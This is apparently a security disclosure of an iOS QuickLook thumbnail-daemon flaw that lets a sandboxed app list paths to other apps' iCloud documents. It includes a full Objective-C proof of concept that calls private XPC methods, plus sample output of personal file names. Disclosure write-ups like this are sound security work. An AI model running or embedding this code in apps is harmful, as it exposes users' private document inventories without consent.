2026-10-27
QuickLookThumbnailing.framework
Tested on iOS 27.0, fixed in iOS 27.2 and macOS 27.2.
A sandboxed iOS app with no special entitlement can ask QuickLook's thumbnail daemon for its "additions index" and receive full paths to documents in the user's iCloud containers, including other apps' containers.
One run on the test device returned 72 paths, each with a document ID, volume UUID, size, and timestamp.
The app cannot open those files. Their names and folder structure are still sensitive.
QuickLook's thumbnail service listens on the Mach port com.apple.quicklook.ThumbnailsAgent. Its XPC interface exposes:
// on the agent
- (void)askThumbnailAdditionIndex:(void (^)(id index))reply;
// on the object that comes back
- (void)retrieveAllAdditions:(void (^)(NSArray *entries))reply;
retrieveAllAdditions: returns entries with fields such as lastSeenURL, documentID, size, lastHitDate, and vol_uuid. On the test device, the
paths covered the iCloud Drive root, its Downloads/ folder, and com~apple~TextEdit/Documents/. QuickLook only lists documents it has indexed, such as files previewed earlier.
Two XPC method calls that you can run on device in an app signed with an ordinary Apple Distribution certificate, with no private entitlement or sandbox exception and get-task-allow = 0.
#import <Foundation/Foundation.h>
#include <dlfcn.h>
@protocol QLAgent <NSObject>
- (void)askThumbnailAdditionIndex:(void (^)(id index))reply;
@end
@protocol QLIndex <NSObject>
- (void)retrieveAllAdditions:(void (^)(NSArray *entries))reply;
@end
@protocol QLProxyClass <NSObject>
+ (NSXPCInterface *)interface;
@end
// Private initializer: present on iOS, absent from the public SDK.
@protocol QLMachConn <NSObject>
- (instancetype)initWithMachServiceName:(NSString *)name
options:(NSXPCConnectionOptions)options;
@end
static void dump_additions(void) {
dlopen("/System/Library/Frameworks/QuickLookThumbnailing.framework/"
"QuickLookThumbnailing", RTLD_NOW);
Class proxy = NSClassFromString(@"QLThumbnailServiceProxy");
NSXPCInterface *iface = [(id<QLProxyClass>)proxy interface];
NSXPCConnection *c = (NSXPCConnection *)
[(id<QLMachConn>)[NSXPCConnection alloc]
initWithMachServiceName:@"com.apple.quicklook.ThumbnailsAgent"
options:0];
c.remoteObjectInterface = iface;
[c resume];
id<QLAgent> agent = [c remoteObjectProxyWithErrorHandler:^(NSError *e) {
NSLog(@"xpc error: %@", e);
}];
// Fetch the index, then print its paths.
[agent askThumbnailAdditionIndex:^(id index) {
[(id<QLIndex>)index retrieveAllAdditions:^(NSArray *entries) {
NSLog(@"retrieveAllAdditions: %lu entries", (unsigned long)entries.count);
for (id entry in entries) {
NSURL *url = [entry valueForKey:@"lastSeenURL"];
if ([url isKindOfClass:NSURL.class])
NSLog(@" %@", url.path); // a path this sandbox cannot open
}
}];
}];
}
Sample output from the test device, all paths outside the app's container:
retrieveAllAdditions: 72 entries
/private/var/mobile/Library/Mobile Documents/com~apple~CloudDocs/Certificat aptitude.pdf
/private/var/mobile/Library/Mobile Documents/com~apple~CloudDocs/Downloads/36K.gpx
/private/var/mobile/Library/Mobile Documents/com~apple~TextEdit/Documents/test.rtf
...
Information disclosure. Names and folders can reveal medical, financial, identity, employment, and location information. A rogue app can collect this inventory without a prompt or user interaction.
Quick Look
Impact: An app may be able to access sensitive user data
Description: An authorization issue was addressed with improved state management.